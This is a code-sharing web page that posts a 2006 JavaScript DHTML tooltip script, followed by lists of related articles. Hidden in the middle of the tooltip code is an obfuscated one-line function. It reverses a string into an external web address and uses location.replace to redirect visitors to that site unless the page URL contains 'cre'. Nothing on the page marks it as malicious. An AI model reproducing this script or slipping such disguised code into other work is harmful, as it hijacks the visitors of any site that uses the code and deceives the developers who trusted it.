popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
JavaScript控制Session操作方法
Jan 17 Javascript
jQuery中:enabled选择器用法实例
Jan 04 Javascript
jquery插件unobtrusive实现片段式加载
Jun 15 Javascript
jQuery实现仿腾讯迷你首页选项卡效果代码
Sep 17 Javascript
jQuery计算文本框字数及限制文本框字数的方法
Mar 01 Javascript
Bootstrap table两种分页示例
Dec 23 Javascript
gulp加批处理(.bat)实现ng多应用一键自动化构建
Feb 16 Javascript
jQuery插件HighCharts绘制2D柱状图、折线图和饼图的组合图效果示例【附demo源码下载】
Mar 09 Javascript
详解Angular2中Input和Output用法及示例
May 21 Javascript
基于Vue过渡状态实例讲解
Sep 14 Javascript
vue多级复杂列表展开/折叠及全选/分组全选实现
Nov 05 Javascript
vue学习之Vue-Router用法实例分析
Jan 06 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
PHP大批量插入数据库的3种方法和速度对比
2014/07/08 PHP
php设置页面超时时间解决方法
2015/09/22 PHP
ECshop 迁移到 PHP7版本时遇到的兼容性问题
2016/02/15 PHP
PHP实现求连续子数组最大和问题2种解决方法
2017/12/26 PHP
教你用jquery实现iframe自适应高度
2014/06/11 Javascript
浅谈jQuery中对象遍历.eq().first().last().slice()方法
2014/11/26 Javascript
JavaScript弹出对话框的三种方式
2016/03/23 Javascript
js鼠标按键事件和键盘按键事件用法实例汇总
2016/10/03 Javascript
nodejs入门教程五:连接数据库的方法分析
2017/04/24 NodeJs
使用JavaScript进行表单校验功能
2017/08/01 Javascript
JS实现的简单标签点击切换功能示例
2017/09/21 Javascript
vue-cli创建的项目,配置多页面的实现方法
2018/03/15 Javascript
jQuery实现浏览器之间跳转并传递参数功能【支持中文字符】
2018/03/28 jQuery
Bootstrap模态对话框中显示动态内容的方法
2018/08/10 Javascript
React Native中Mobx的使用方法详解
2018/12/04 Javascript
JS如何操作DOM基于表格动态展示数据
2020/10/15 Javascript
vue router返回到指定的路由的场景分析
2020/11/10 Javascript
[01:22:28]DOTA2-DPC中国联赛 正赛 SAG vs RNG BO3 第一场 1月18日
2021/03/11 DOTA
Python中dictionary items()系列函数的用法实例
2014/08/21 Python
python获取图片颜色信息的方法
2015/03/18 Python
python requests 使用快速入门
2017/08/31 Python
Python日期时间对象转换为字符串的实例
2018/06/22 Python
python学习--使用QQ邮箱发送邮件代码实例
2019/04/16 Python
使用 python pyautogui实现鼠标键盘控制功能
2019/08/04 Python
python连接mysql有哪些方法
2020/06/24 Python
Python字符串的15个基本操作(小结)
2021/02/03 Python
希尔顿酒店官方网站:Hilton Hotels
2017/06/01 全球购物
JACK & JONES瑞典官方网站:杰克琼斯欧式风格男装
2017/12/23 全球购物
Tommy Hilfiger美国官网:美国高端休闲领导品牌
2019/01/14 全球购物
大学毕业通用个人的求职信
2013/12/08 职场文书
计算机数据库专业职业生涯规划书
2014/02/08 职场文书
学历公证委托书
2014/04/09 职场文书
乡镇四风对照检查材料
2014/08/31 职场文书
计算机实训报告总结
2014/11/05 职场文书
2014年财务经理工作总结
2014/12/08 职场文书
联想win10摄像头打不开怎么办?win10笔记本摄像头打不开解决办法
2022/04/08 数码科技